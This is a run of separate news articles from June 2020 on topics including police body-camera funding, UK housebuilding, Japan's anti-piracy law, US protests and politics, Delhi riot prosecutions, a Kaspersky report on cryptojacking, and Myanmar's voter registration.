With the lead donation from The DeBruce Foundation of $1 million dollars, and the generosity of the business and philanthropic community, we are pleased to announce we have secured the $2.5 million needed to purchase body cameras for the KCPD.

About The DeBruce Foundation The DeBruce Foundation is a national foundation whose mission is to expand pathways to economic growth and opportunity. The Foundation is geared toward helping individuals unlock their potential and find new career pathways. By developing solutions such as the Agile Work Profiler, we can change how people pursue careers. By partnering strategically, we increase experiences and exposure to widen career opportunities. We develop young people by engaging them in decision-making through initiatives such as DeBruce Career Corps. Learn more at www.DeBruce. org

Attachment

Mindy Mazur

The DeBruce Foundation

573-999-9245

mmazur@lentsandassoc.com



Chanelle Zak

Lents & Associates

816-591-4862

czak@lentsandassoc.com


A Taylor Wimpey site as many sites see construction resume. (PA)

Taylor Wimpey (TW.L) has seen a surge in demand for new homes among potential buyers since the UK government eased restrictions on Englands property market.

The housebuilding giant said it had seen appointment numbers triple in the final week of May and web traffic up 32% on a year earlier. Interest was also strong in its 5% discount scheme for National Health Service (NHS) and care workers, it said.

The company said in a trading update on Friday the majority of its sales centres and showrooms had reopened in England, with social distancing rules in place. All of its employees have returned to work, often remotely, with many previously on furlough.

It also said construction had resumed on the majority of its sites in England and Wales, after it paused building and drew up COVID-19 safety plans when the crisis began. The company highlighted phased sign-in times for workers, personal protective equipment, detailed signs and strict protocols and a new code of conduct on the coronavirus.

READ MORE: Fears over construction workers safety as sites reopen

The latest update said Taylor Wimpey was on track to reach meaningful production capacity by the end of June. But it added: Our phased approach prioritises the protection of our customers, employees and subcontractors over the volumes achievable at these early stages.

The latest update highlighted the severe impact of COVID-19 and site closures have had on construction. 2,455 properties were completed in the 22 weeks to the end of May, down from 4,052 a year earlier.

Cancellations were at a low level, however, with a smaller percentage of private orders cancelled than a year earlier. 5% of orders were scrapped in the nine weeks after lockdown began, compared to 6% a year earlier.

The companys shares jumped more than 7% on the update.

READ MORE: UK house prices fall for a third month but demand picks up
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Linkedin (Kyodo News) Tokyo  Fri, June 5, 2020 13:48 595 fc6853813033f564188675f8bdc60b43 2 Art & Culture Manga,Japan,piracy,copyright Free

The Japanese parliament enacted Friday a revised anti-online piracy law to tighten copyright control, banning illicit downloading of manga, magazines and academic texts, in addition to music and videos that were already covered by the existing legislation.

The law also regulates "leech websites" that provide users hyperlinks to download so-called torrent files of pirated materials. The ban on illegal downloading will take effect on Jan. 1 next year, while restrictions on leech sites will come into effect on Oct. 1.

The law revision came as the country saw a rising number of piracy and leech websites, notably the Mangamura site, which had over 100 million hits a month before being disabled in April 2018, causing an estimated loss of more than 300 billion yen ($2.75 billion) to publishers.

Mangamura hosted unauthorized copies of popular manga titles, including "Attack on Titan" and "One Piece."

However, the amended legislation exempted "minor offenses" and "special instances" from being categorized as illicit amid concerns that excessive restrictions could hinder internet use and freedom of expression.

The Cultural Affairs Agency lists examples that can be exempted, such as downloading only a few frames from a comic book of several dozen pages and a couple of pages from a novel containing several hundred pages.

Parodies or derivative works are also exempt, as well as cases where smartphone users unintentionally captured copyrighted publications in their screenshots.

Read also: Japan's beloved manga assassin becomes the latest coronavirus fatality

As for illegal downloading, penalties for repeat offenders will be up to two years in jail or a maximum fine of 2 million yen ($18,320), or both.

The new law also bans establishment and operation of leech sites, pasting hyperlinks of illegal websites on an anonymous message board, or providing "leech apps" for similar purposes.

Those found to be operating a leech website will face penalties of up to five years in jail or a maximum fine of 5 million yen, or both.

Last year, the government tried to submit a similar anti-online piracy bill to a parliamentary session but shelved it after receiving backlash from manga artists and experts who said the planned controls were too broad and could hinder legitimate activities such as research.

As of last November, there were more than 500 piracy websites featuring manga and photo books targeting Japanese viewers, with the top 10 sites getting some 65 million hits a month. Seven of them provided download links, according to Publishers PR Center.

A senior official of the agency said the new legislation is expected to have a "significant deterrent effect," as research by an industry group shows existing legal restraints on illegal downloading of music and videos had positive effects.

An online poll by the agency also found around 90 percent of respondents said they will stop using, or use less frequently, piracy websites if downloading from those sites becomes illegal.

Loopholes remain, however, as videos showing copyrighted items in the form of a picture-story show or provision of such materials through streaming -- as was the case with Mangamura -- are not covered by the revised law as they do not involve downloading data to devices.

Also, many piracy site operators use servers overseas where rules are lax. So-called "bulletproof hosting" services that are lenient about what can be hosted on their servers and warrant high confidentiality hinder requests for information disclosure.

A site-blocking measure to forcibly deny access to certain websites is also difficult to implement in Japan, as it requires subscribers' access data and could violate the privacy of communication.

"There's a limit to what Japan can do on its own. International coordination and cooperation in investigations are indispensable," a government source said.

Topics : Manga Japan piracy copyright
A California National Guard soldier stands near the Santa Monica Pier this week. (Al Seib /Los Angeles Times)

A Friday afternoon protest at Santa Monica City Hall turned into a raucous Q&A between peaceful protesters and the city police chief, interim city manager and mayor.

Mayor Kevin McKeown and interim City Manager Lane Dilg attempted to address protesters and were met with questions about the use of tear gas on demonstrators last Sunday in Santa Monica and calls to cut the citys police budget.

We will look at the actions of Sunday; we will determine what we can do to keep our community safe and facilitate peaceful protest, Dilg said.

You called in the National Guard! one protester shouted.

Another asked why the streets were shut down.

Hey people, do you want to hear the answers? McKeown asked.

Police Chief Cynthia Renaud said the list of names of people who died at the hands of police doesnt seem to end, but they stop in Santa Monica.

I believe in the peace; I believe in the community I serve, she said.

Then she, the mayor and others took a knee in solidarity with the protesters. Some in the crowd decried the moment as a photo op. One protester said if Renaud couldnt admit that violence was used against nonviolent protesters then she should resign.

Dilg encouraged people to send comments to a Tuesday council meeting and to vote.

We are with you; we welcome you to Santa Monica, she said, to boos.

A young passerby, Chanel Nicole Miller, 19, assumed the role of emcee during the heated exchange between demonstrators and officials. Miller said she was on her way to work as a line cook when she stopped by the demonstration. She said she stepped forward when she heard officials talking.

When the mayor got up there and started cursing, getting red, yelling, showing his ignorance and pain that he didnt know how to express, I felt like I had to say something, she said.

Miller stood up and described her experience as a resident of the city and the discrimination she has faced as a black woman. She said she felt like the crowd wanted her to speak up.

Story continues

"I had to do my duty to help facilitate for our people, she said.

Miller criticized officials for failing to answer questions or acknowledging that the city used excessive force against protesters last Sunday.

They dont want to answer the tough questions; they dont want to battle the hardships that we go through every single day, she said.

Miller said she believes the best way for people to be heard is through policies and voting. Miller said her experience at the protest was a significant moment for her.

We can yell, we can express our anger, we can loot, we can vandalize ... but that would leave us without a city, police that dont like us and our voices going unheard, she said. Being that voice for the people, it definitely was a wake-up call. This is what I need to do.

Other demonstrators voiced similar thoughts.

Madison Garrett, 21, a college student, arrived early for her third protest this week. A post circulating on social media said the event was organized by alumni of Santa Monica High School, from which she graduated in 2017.

Garrett said the recent protests have shown people doing what they need to do to be heard.

Basically, weve been going through this for hundreds of years, systematic oppression, and once it gets to a boiling point of being unheard, silence doesnt work anymore, she said.

She criticized media coverage that she said has focused on rioting and looting. Theyre not showing the police gassing innocent people, she said. Theyre not showing you the singing and dancing on the street.

Garrett said there has been a sense of camaraderie among protesters. She has offered to give people rides home and seen people handing out water and snacks. Garrett said its hard to maintain social distance at a protest, and that is definitely at the back of my mind. But shes trying to be safe  she was wearing a surgical mask with I cant breathe" written in black marker  and protesting is worth breaking quarantine.

I saw someone else say that youre either going to get killed by a police officer or youre going to get killed by COVID, and its your decision to make which one you choose, she said.
WASHINGTON - President Donald Trump on Friday declared it was a great day for George Floyd as he discussed a strong jobs report for the country and efforts to bring about racial equality. Joe Biden, the likely Democratic presidential nominee, said Trumps comments about Floyd were despicable.

Trumps comments about Floyd came as he shifted from discussing a drop in the unemployment rate to say everyone deserved equal treatment in every encounter with law enforcement, regardless of race, colour, gender or creed.

We all saw what happened last week. We cant let that happen, Trump said. Hopefully George is looking down right now and saying this is a great thing thats happening for our country.

He added: This is a great day for him. Its a great day for everybody. This is a great day for everybody. This is a great, great day in terms of equality.

Floyd, who was black, died after a white police officer pressed his knee on Floyds neck for several minutes, ignoring Floyds cries that he couldnt breathe and bystander shouts. Floyds death set off protests around the world, including outside the White House.

Trump spoke shortly after the government said the unemployment rate had dropped to 13.3%, better than expected but still on par with Great Depression-era levels of joblessness. He offered the data as evidence that the nation had overcome the worst of the coronavirus pandemic and had begun an economic comeback.

Biden panned Trumps comments during an economic speech in Delaware.

Were speaking of a man who was brutally killed by an act of needless violence and by a larger tide of injustice that has metastasized on this presidents watch, Biden said.

George Floyds last words, I cant breathe. I cant breathe, have echoed all across this nation and quite frankly around the world, Biden added. For the president to try to put any other words in the mouth of George Floyd, I frankly think, is despicable.

Trump campaign communications director Tim Murtaugh said some news outlets had purposely misreported the presidents comments to insinuate that Floyd would be pleased about the positive jobs numbers. He said Trump was referencing the national conversation that followed Floyds death and Americans coming together on the belief that everyone should be treated equally under the law.

The sentences that preceded and followed the presidents sentiments about Mr. Floyd made the context crystal clear, Murtaugh said. Media claims that the president said that Mr. Floyd would be praising the economic news are wrong, purposefully misrepresented, and maliciously crafted.

-

Associated Press writer Will Weissert in Dover, Delaware, contributed to this report.
Left: Senator Kay Bacchus-Baptiste has made it clear that the NDP will be vigilant in assuring that all practices regarding elections conform to the law. Right: Dora James, Supervisor of Elections, appears to want to ensure that the election process avoids shortfalls of the past.

The new Supervisor of Elections Dora James has reached out to the New Democratic Party (NDP) in an effort to maintain some measure of transparency in the democratic process of electing Parliamentary Representatives.





This is according to Senator Kay Bacchus-Baptiste as she responded to a query posted during her appearance last Sunday, on Asbert News Network and ITFX Digital Solutions interview series On De Spot.





"About 6 weeks or so ago, we got a letter from the Supervisor of Elections because, based on our query and our complaints about what went wrong in the last election, they are trying to correct first of all the ballot box, because the law says that they should be locked with a key, and we know that what they had there was incapable of being locked with a key.





Instead of locking the ballot boxes with a key, in the last election, Bacchus-Baptiste said they used what they called tags.





"But they had any number of tags. You can cut the tags off and replace them and nobody would ever know.





They did not record the numbers of the tags. They had more tags, despite what the [then] Supervisor of Elections said, than was necessary. Therefore it was very easy to get into the ballot boxes if you had a returningofficer who was minded to do that, Bacchus-Baptiste elaborated.





As per the letter from the Supervisor, Bacchus-Baptiste said, "We wrote back telling her yes, what they should do is follow the law and get a ballot box that can be locked. But that alone would not be sufficient; we are going to demand also that the ballot paper conforms, in every detail, to the law. That is, the presiding officers box should be put where the law says it should be so that we can secure the secrecy of the ballot.





The Opposition Senator recounted some of the difficulties detaching the counterfoil that returning officers suffered through, because of what she described as the ill-conceived design of the batch of ballot papers used in the 2015 elections. "All of that impacted on the secrecy of the vote, so we are insisting now that we see that ballot paper.





"It should conform according to law in every material way. In particular that the names would be placed alphabetically as the law says and, as I said, its perforated so that you can tear it off without destroying the ballot.





The other issue to be addressed, in true transparency, must be how the approved ballot boxes are sealed. "Those 2015 ballot boxes were not sealed at all according to law, the Senator intoned.





"The sealing, when they say sealing, meant if you were to tamper with it when you  at the end of every election when you put the ballots into the box after the counting, youre supposed to have the presiding officers initials and the poll clerks and the agents initial it  in such a way that if you were to remove it, it will disintegrate, it will tear up.





"They didnt do that; they got some labels which you can peel on and peel off. That is unacceptable. It was very, very lax in 2015, and we are working on that aspect.








New Delhi, June 5 : The Delhi Police on Friday filed charge sheets against 19 accused in connection with the murders of two brothers during the riots in north-east Delhi in February last.

Aqil Ahmed and Musharaff were bludgeoned to death by a mob and their bodies thrown in a drain in the Johripur area.

Police said that both crime spots were not covered by any CCTVs but information provided by their sources revealed that a group of men had joined hands on February 25 and 26 after riots were reported from north-east Delhi on February 24.

"Bases on oral evidence and chat records in a WhatsApp group, the identity of the perpetrators was established," a police statement said.

After identifying the accused, police picked up some suspects who told police during questioning that on February 25 the WhatsApp group was created with 125 members. Subsequently, eyewitnesses to the crime were identified and examined.

Ten persons were arrested in connection with the murder of 40-year-old Aqil.

The charge sheet included offences of murder, criminal conspiracy, rioting, dacoity and destruction of evidence.

"During investigation, it was revealed that at 9.30 pm on February 26, Aqil was returning home in New Mustafabad when he was waylaid by a mob at Jal Board Puliya, Bhagirathi Vihar, and murdered," said the police.

His body was thrown in the Johripur drain. Aqil was a car painter and mechanic and is survived by his wife and four children.

Nine people were arrested for the murder of 40-year-old Musharraf, an auto-rickshaw driver.

"Around 8 pm on February 25, rioters disconnected power supply of Bhagirathi Vihar area and attacked the house of Musharraf, dragged him out in the street and bludgeoned him to death. His body was also thrown in the open drain," the police said.

The charge sheet in this case pertained to murder, criminal conspiracy, rioting, dacoity, kidnapping, trespass, assault, unlawful assembly armed with deadly weapons and destruction of evidence.

According to police, around 9.40 pm on February 27, bodies of three unidentified Muslim men were fished out of the drain in Johripur. On the same day around 4 pm, body of another Muslim victim was found some distance away from the spot where the three bodies were found in Johripur drain.
Matt Damon and wife Luciana are back in Los Angeles after spending much of the coronavirus lockdown in Ireland.

The longtime couple were spotted in the Santa Monica neighborhood on Thursday and held hands as they entered an office building.

The 49-year-old Hollywood actor covered up in a black hoodie and blue jeans as well as a face mask as a precaution to stop the spread of coronavirus.

Out and about: Matt Damon and wife Luciana Barroso are pictured in Santa Monica on Thursday

Luciana, 44, looked summery in blush hued overalls over a white tank top.

The couple, who have been married for 14 years and have three daughters together; Isabella, 13, Gia, 11, and Stella, nine.

Matt was originally in Ireland for filming when the lockdown was introduced on March 27, and gushed about his 'fairytale' life in the Irish suburb of Dalkey.

The Bourne star, his wife and their daughters had been residing in a lavish $8.6million pad in the affluent area.

Meeting: The longtime couple were spotted holding hands as they entered an office building together

The 49-year-old Hollywood actor covered up in a black hoodie and blue jeans as well as a face mask as a precaution to stop the spread of coronavirus

Matt first spoke about living in lockdown in the Emerald Isle during an interview with Graham O'Toole and Nathan O'Reilly on Ireland's Spin 103.8's Fully Charged.

During the interview the star also revealed that his daughter Alexia, 21, had made a full recovery from coronavirus while living in New York City.

Alexia is his wife Luciana's daughter from a previous relationship however he referred to her as his 'eldest daughter.'

He said: 'Our oldest daughter is in college, she's in NYC. She had Covid really early on, along with her roommates and got through it fine. But everybody's OK...

Matt jetted back to Los Angeles last week after spending two months in Ireland where he was filming before the lockdowns were enforced in March

Matt Damon got stuck in Dublin due to the lockdown, and now a few weeks in he looks like your cousin from Monaghan who's up for de weekend to go to de night club hai bai pic.twitter.com/U5W5V4QFls  Philly Byrne (@PhilipNByrne) April 13, 2020

'For Lucy's mum and my mum, it's scary for that generation. I think we've all got the message now, everyone's doing the isolation and social distancing and hand-washing and everything we can to mitigate this but it's frightening, certainly for our parents.'

But Dalkey has the A-list stamp of approval, as Matt also gushed: 'It's incredible. This is one of the most beautiful places I've ever been. It feels a little like a fairytale here. Bono lives over there, Enya lives over there'.

Before lockdown began in Ireland on March 27, the Oscar winner was snapped posing outside a cafe and in a restaurant with fans, as well as going swimming near Dalkey with his clothes in a bag from Irish grocery store SuperValu.

One fan tweeted: 'Matt Damon going swimming near #Dalkey with his togs in a SuperValuIRL bag - fitting right in!'

Another wrote: 'Matt Damon (huge fan) in Dalkey with a Supervalue bag made my day. Just speaks to how human we all are. This virus has no selectivity, does not discriminate and affects us all over the world. I hope Matt is enjoying his stay here.'
DEAR ABBY: My 53-year-old daughter is an addict. First it was alcohol, then hard drugs and opioids. This has been going off and on for 40 years.

She hit bottom recently. She became homeless and ended up in a women's shelter in another state. She says she's been clean about six months. The shelter helped her find a place to live, and she draws a disability check, so she has everything she needs.

She constantly contacts me and her father saying she wants to come home. We have helped her to the point of mental, physical and financial exhaustion, and we just can't go there again. It's the most difficult thing we've ever gone through. We know we shouldn't continue to enable her, but if we don't, we feel like terrible parents. Any advice would be much appreciated.

 Terrible parents in Indiana

DEAR PARENTS: You already know what will happen if you cave in to your daughter's begging to come home. From now on, when she asks, remind her that she already is home, in the place the people from the shelter helped her to find. Her troubles have nothing to do with you. They are the result of the life she created for herself. The time has come for you and your husband to take better care of yourselves.

DEAR ABBY: My ex-wife and I separated after 56 years of marriage. I recently found out she had been raped. Twice. The first was somebody I worked around at the air base. The second was by her father to "teach her a lesson" for getting raped the first time.

When I asked her about it, she said it was none of my business because it happened before we met, but I think she should have told me. I worked around the first guy. Who knows what he told the other airmen behind my back? I also asked very personal questions of her dad, which I now regret. My question is, was she right or should she have told me?

 Upset person in the East

DEAR UPSET PERSON: I doubt that the person who worked with you on the air base would have spent much time bragging about having raped, so please, stop obsessing about what the person might have said. That your wife was raped later by her own father must have been devastating. Both of the animals who abused her belonged in jail.

Although your wife probably should have told you what happened to her, she was not obligated to do so. Your marriage is over. Let it go!

DEAR ABBY: With the stay-at-home order still in place in many states, takeout or delivery is the only option for nights when we don't want to cook. How much should we be tipping the people who deliver our food? With sites like Grubhub, which offer free delivery, do these drivers/deliverers get paid? I feel bad for someone coming to my house and leaving a bag of food on my doorstep, and I want to make sure they are compensated. How much would be a reasonable tip?

 Likes my delivery

DEAR LIKES: The Grubhub website recommends a $5 or 20 percent tip  whichever is greater. When you tip, the money goes straight to the delivery drivers, as it should. Some orders may include an additional delivery fee, but it is not a tip, and drivers don't receive that money.
John Kelly.

Alex Wong/Getty Images

John Kelly, President Donald Trump's longest-serving chief of staff and a retired Marine Corps general, said on Friday that he agreed with former Secretary of Defense James Mattis' assessment that Trump was harming the US.

In an interview with Anthony Scaramucci, the White House communications director whom Kelly promptly ousted in 2017 upon his promotion to chief of staff, Kelly said that Mattis was right to raise the alarm about Trump sending in active-duty troops to quash protests.

"The idea that you would unleash American active-duty folks, unless it's an extremist situation ... these are civilian responsibilities," Kelly said, "and we should be very, very careful before we contemplate sending in active-duty military."

Kelly also alluded to deficiencies in Trump's character. "I think we need to look harder at who we elect," Kelly said, adding, "I think we should look at people that are running for office and put them through the filter: What is their character like? What are their ethics?"

Visit Business Insider's homepage for more stories.

President Donald Trump's longest-serving chief of staff had some choice words about his former boss' performance and character on Friday morning.

"I would agree that the [Constitution] is always being stressed when public officials  and that might be the military, could be police, could be a president  when public officials are coming close to the edge of the rule of law," John Kelly, a retired Marine Corps general, said in an interview broadcast on YouTube on Friday.

Kelly added that he agreed with former Secretary of Defense James Mattis' blistering assessment that Trump was harming the country.

"Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try. Instead, he tries to divide us," Mattis said in a statement published in The Atlantic on Wednesday, adding, "We are witnessing the consequences of three years without mature leadership."

Story continues

Mattis had long been reluctant to publicly criticize Trump but broke his silence this week after Trump called for the military to "dominate the streets" and had peaceful protesters cleared from the White House perimeter with tear gas so he could have a photo-op at St. John's Church.

Kelly said on Friday that he would have "recommended against it."

He added: "The idea that you would unleash American active-duty folks, unless it's an extremist situation ... these are civilian responsibilities, and we should be very, very careful before we contemplate sending in active-duty military."

Kelly was being interviewed by Anthony Scaramucci, a former White House communications director. One of Kelly's first major decisions upon becoming the White House chief of staff in 2017 was firing Scaramucci. Kelly left the White House in early 2019.

In the interview, Kelly alluded to deficiencies in Trump's character. "I think we need to look harder at who we elect," Kelly said, adding, "I think we should look at people that are running for office and put them through the filter: What is their character like? What are their ethics?"

When asked by Scaramucci whether he agreed with Trump's assertion that he's "a very stable genius," Kelly took a pregnant pause.

"Um, he's  what's a genius? I don't know what that is," Kelly said. "He is  as I say, when I was there working the staff process, more often than not he didn't like the recommendations. More often than not he followed the recommendations of the staff, of the Cabinet.

"But I don't think I should comment on  I'm not qualified to comment on stable or unstable or whatever."

Read the original article on Business Insider
Scratch cards were found to be 'particularly harmful'. (Getty Images)

Playing the lottery or scratch cards may not be harmless, research suggests.

Although often considered good fun, these mild forms of gambling could be a gateway to troublesome behaviour.

Read more: Gambling loophole must be shut down

Scientists from Curtin University in Perth looked at the gambling habits of more than 2,000 people.

Of the 540 who regularly bought lottery tickets, almost a third reported gambling-related issues like financial difficulties, psychological problems or relationship red flags.

Scratch cards were found to be particularly harmful, possibly due to the instant result and impression players came close to winning.

Playing the lottery may not be 'harmless'. (Getty Images)

A survey of 8,000 adults found more than half (56%) of people in England gambled in 2016, but just 0.7% thought they had a problem.

In the US, almost 10 million (2.6%) are said to be addicted to gambling.

Lottery tickets and scratch cards are often considered harmless, despite little research into their impact.

To learn more, the Australian scientists focused on the 540 participants who bought lottery tickets.

Read more: Philippine police arrest 90 Chinese for illegal gambling

Results, published in the journal Addictive Behaviors, suggest almost a third of the players had some level of gambling-related risk due to their use of lotteries products.

This was more common among the young, male participants. Smokers, vapers and scratch card users were also more at risk.

Lottery tickets aside, other milder forms of gambling may also be more dangerous than they seem.

The data revealed scratchies were particularly harmful, said lead author Leon Booth.

We believe this is because some features of scratchies make them more appealing to problem gamblers, such as instantly letting the user know if they have won a prize and giving users the impression they were close to winning.

We also found people who are generally vulnerable to developing gambling issues, such as younger adults and males, were most likely to experience problems with lottery gambling.

Story continues

Read more: Vegas casinos reopen after long coronavirus closure

The scientists want people to be more aware of the risks of lottery tickets and scratch cards.

The public needs to understand lottery products such as scratchies and lotto tickets are a true form of gambling and are therefore inappropriate gifts for children and youth, said study author Professor Simone Pettigrew.

Lottery products need to be acknowledged as more than harmless fun and a genuine type of gambling, and policymakers should act accordingly to reduce harms that result from these products.

Our new findings add to an increasing body of evidence showing lottery products are associated with harm in a substantial minority of users.
Final delivery  Scott Hamilton-Brehm, right, assistant professor of microbiology, and Trevor Murphy, a masters student in micro and biochemical molecular biology, load the final shipment of Viral Transport Medium. The SIU Carbondale team developed 115,000 vials of VTM to state health officials. (Photo by Gregory Wendt)

SIU makes final COVID-19 test component delivery to state after successful effort

by Tim Crosby

CARBONDALE, Ill.  Southern Illinois University Carbondale today will ship its final batch of a crucial COVID-19 test element to state of Illinois health officials, bringing the teams final production tally to 115,000 vials of Viral Transport Medium.

Earlier this week, some of the faculty, staff and students who came together during the early days of the states health emergency loaded a van with the final shipment. Together with two other state universities, the SIU team helped buy time needed for industrial suppliers to ramp up VTM production.

SIU joined battle early

In early April, as the magnitude of the pandemic became apparent, state leaders asked universities to investigate making VTM, which was in short supply due to the sudden large-scale need. The substance plays a critical role in testing individuals for COVID-19, as medical personnel place swabs from suspected cases in vials containing the solution before capping, sealing and sending them to testing facilities.

SIU was the first to deliver its VTM to state health authorities and ultimately produced 40,000 vials under its initial contract. SIU was working on its second contract with the state, which required the university to produce a grand total of at least 80,000 vials, with a maximum of 160,000 vials, when state officials told universities they could halt production.

We made 115,000 and were ready to make more, but the state gave the signal to stand down as the effort was a success, said Scott Hamilton-Brehm Scott Hamilton, assistant professor of microbiology and one of the leaders of the effort. The production of VTM from the three universities gave the state of Illinois the buffer time desperately needed so they could test for the virus on a daily basis and concurrently secure a commercial source to produce millions of vials of VTM.

Big mobilization

Getting VTM production off the ground at SIU was an intensive effort that required a variety of scientific laboratory skill sets and good old-fashioned shirt sleeves work. Along with four faculty leading the way, the team ultimately included five graduate students and about 14 undergraduate students rotating work shifts in three different laboratories around campus.

And it was all done with safety as a top priority.

The rotation of the workers across all labs, maintaining six feet distance from each other, no more than a determined maximum for each size lab, the constant use of PPE -- gloves, mask and lab coat  was necessary to meet minimum safety procedures to reduce the risk of the virus striking this effort, said Hamilton-Brehm, who filled the role of program officer and dispenser during production. Other core faculty involved included Vjollca Konjufca (safety officer and dispenser), Matt Geisler (project fixer and logistics), and Andrew Wood (management and transport).

In all, the team put in about 750 working hours producing the 115,000 VTM vials.

I continue to be extraordinarily proud of the way in which the faculty at Southern Illinois University Carbondale have stepped up to assist the state and region in dealing with the COVID-19 pandemic, said Gary Kinsel, vice chancellor for research. I know that our efforts have allowed the testing capacity in the state to ramp-up more efficiently and that, ultimately, this testing capacity has saved lives.

Looking back

The effort to produce the critically needed mixture galvanized the team and has given its members important memories to carry with them, Hamilton-Brehm said. As work wound down this week, members looked back on the early days of the effort, including how it felt to receive the call to action, developing the procedures to mass-produce VTM in research labs, and all the mistakes and lessons learned along the way.

We all agree that as we look back over our two months of hard work, the events seem like many ages ago, yet its like we just got started, he said. We may not have been completely confident from beginning to end, but our training as proficient scientists saw us safely to a successful conclusion.

Many challenges overcome

The team found itself in unfamiliar territory, at first. Problems such as simply finding the best way to dispense VTM into the tubes using automatic dispensers, acquiring a stable workforce, and securing sources for the correct size of vials from around the nation were among the early challenges, Hamilton-Brehm said. For all that, one of the biggest issues was of a more mundane nature.

The most trying problem was making sure the labels stick to the tubes, he said. Since the tubes were coming from various vendors, the plastic and coatings were different, plus each vial is refrigerated. This caused a lot of problems for us.

Through trial and error and with logistical support from Geisler, however, the team ultimately identified a type of adhesive label that worked with all variations.

Learning about themselves

The team at first struggled to come to terms with both its strengths and weaknesses while simultaneously mass producing VTM. But overcoming adversity is a core value at SIU, which instills in students the ability to think critically and creatively, Hamilton-Brehm said.

The strength of SIU can be found in its people and their ability to adapt to a rapidly changing situation he said. We learned that our strength came from our skills, rapid response, efficiency, and our desire to make a measurable difference in an unprecedented time.
Several studies from Kaspersky have since revealed that companies are concerned about data breaches and ransomware. However, fresh statistics from the global cybersecurity company unmasks that the biggest threat in Southeast Asian small and medium businesses (SMBs) are not those two, but miners.

Blocking 12% more in the first three months of this year than in 2019, Kaspersky puts spotlight on this cyberthreat that is often overlooked

Just in the first three months of 2020, Kaspersky solutions have foiled over 1 million mining attempts against devices of businesses in Southeast Asia (SEA) with 20-250 employees. This is 12% more compared with 949,592 mining incidents blocked in the same period last year.

The total number of miners detected in Q1 is also significantly more than the 834,993 phishing attempts and 269,204 ransomware detections against SMBs in the region.

We cannot refute the fact that malicious mining is far less destructive compared with ransomware, data breaches, and the like but it remains a risk that SMBs should consider seriously. Cybercriminals behind these attacks are using your own resources, from your electricity, your data bandwidth, to your devices hardware which are not cheap at all, comments Yeo Siang Tiong, general manager for Southeast Asia at Kaspersky. Our previous study even found out that two days straight of mining cryptocurrency using mobile mining malware can leave an infected devices battery bloated to the point of physically deforming the phone. Think footing the bill without eating the meal, thats how illegal miners work.

Malicious mining, also known as cryptojacking, are attacks that can inflict both direct and indirect losses for a business. Cryptocurrency miners that infect the computers of unsuspecting users essentially operate according to the same business model as ransomware programs: the victims computing power is harnessed to enrich the cybercriminals.

Aside from a substantial increase in electrical consumption and usage of CPU, mining increases the wear and tear on hardware by having processing cores, including those belonging to discrete graphics cards, working overtime to mine ill-gotten cryptocurrency. The wasted bandwidth also decreases the speed and efficiency of legitimate computing workloads. Moreover, a cryptojacking malware can overwhelm a system, causing severe performance problems, which will have an immediate effect on businesses' networks and ultimately, their customers.

Kasperskys data further reveals that Indonesia and Vietnam were among the countries in SEA and globally with the highest number of mining attempts against SMBs. Most of the six countries in the region, except the Philippines and Thailand, have also recorded an increase in terms of this malwares detection in the first quarter of 2020.

Number of malicious mining attempts against SMBs blocked by Kaspersky solutions and the countrys ranking based on the share of users almost infected with this malware

Completing the five countries with most number of cryptojacking attempts are the Russian Federation, Brazil, and the Islamic Republic of Iran.

There are obvious signs when your file is being held by ransomware, but malicious miners take a long while to notice, compounding the true cost of this malware. Cryptocurrency is here to stay which also means cybercriminals will continue to look for devices they can use illegally for mining. One important point SMBs should consider is that there is a direct correlation between successful cryptojacking and the use of pirated software. The more freely unlicensed software is distributed, the more miners there are, so I urge companies to use legitimate software at all times, adds Yeo.

Aside from unlicensed software, miners can also get into computers via adware installers and infected content distributed using social engineering as well as infected USBs.

To block malicious software from adware and infected content being spread through email, SMBs can use Kaspersky Security for Microsoft Office 365. This tool is an advanced, all-in-one threat protection for Microsoft Office 365s communication and collaboration services. It curbs the spread of malicious threats including ransomware, viruses, Trojans, phishing, among others.

It is currently being given free for six months to SMBs in SEA. Interested businesses can find out more about this promo via this link.

As the human-factor plays a huge role in this type of threat, businesses can also utilize the 20-30 minutes free online course from Kaspersky. This free training tackles how companies can secure their current remote working environment. It is accessible through this link.

Kaspersky also shares the following tips to keep SMBs devices safe from malicious miners:


Election 2020 Myanmar Election Board to Register Voters in Barracks Amid Calls for Transparency

Ballots being counted on election day in November 2015. / The Irrawaddy

YANGONThe Union Election Commission (UEC) said it will register the family members of military personnel living inside military cantonments for the November election.

Following the negotiation between the Office of the Commander-in-Chief of Defence Services (Army) and the UEC, the election commissions at state and region levels have prepared to coordinate with relevant commands and register military personnel and their family members in local battalions and military units, said Yangon Region Election Commission spokesman U San Myint.

Region and state election commissions will hold talks with relevant commands, and township election commissions will contact local battalions and military units and ask for eligible voter lists, said U Myint San.

Since the 2010 general election, military personnel and their family members in many constituencies have been ordered to vote in military cantonments, under the watch of military superiors. In the 2015 general election and the by-elections in 2012, 2017 and 2018, the military limited monitoring of polling stations inside military compounds and areas where military personnel live for security reasons.

The Myanmar Parliament passed amendments to election by-laws in February that require military members and their families to vote at polling stations outside of their barracks in this years general elections.

The UEC said the amendment aims for the military personnel and their family members to be able to cast votes together with civilian voters and to be transparent, where candidates, observers and party representatives can freely enter and monitor.

Myanmars military has an estimated 500,000 personnel. With the addition of family members, over 1 million people out of an estimated 32 million eligible voters in the 2015 election were affiliated with the military. Over 37 million people in Myanmar will be eligible to vote in the 2020 general election, according to the UEC.

Shan Nationalities League for Democracy spokesman U Sai Leik stressed the need to get accurate lists of eligible voters among military personnel and their relatives in constituencies where military barracks cover a larger proportion than civilian areas.

If [the UEC] cant verify [the lists of voters], how can their voteseither advance votes or votes on election daybe measured? If not, then rival parties will have to suffer from a serious handicap, he said.

He called for the voter lists of military personnel and their relatives to be verified by political parties apart from the UEC. Political parties have access to the lists of eligible civilian voters.

Sai Ye Kyaw Swar Myint, director of the Peoples Alliance for Credible Elections, also shares the same view. There will be doubts unless the lists of eligible voters from inside barracks are released transparently, he said.

He warned of the risk of allowing advance voting without knowing the exact lists of eligible voters from inside the barracks.

If we dont know the exact voter lists of cantonments, even if they come out [of the barracks], there will still be problems due to the advance vote. So it is necessary to get the voter lists of cantonments, he said.

He also called on the UEC to create an environment in which civil servants, including military personnel and police, can vote freely without fear of being punished by superiors.

Voters should also have the right to vote for the party they like in areas where ethnic armed groups are present, said Sai Ye Kyaw Swar Myint.

If voters are forced to vote for a particular party when they are threatened with weapons, they are not enjoying their suffrage, he added.

Translated from Burmese by Thet Ko Ko.

You may also like these stories:

Myanmars Opposition, Military Lawmakers Seek House Speakers Impeachment

Myanmar Parliament Rejects Move to Oust House Speaker

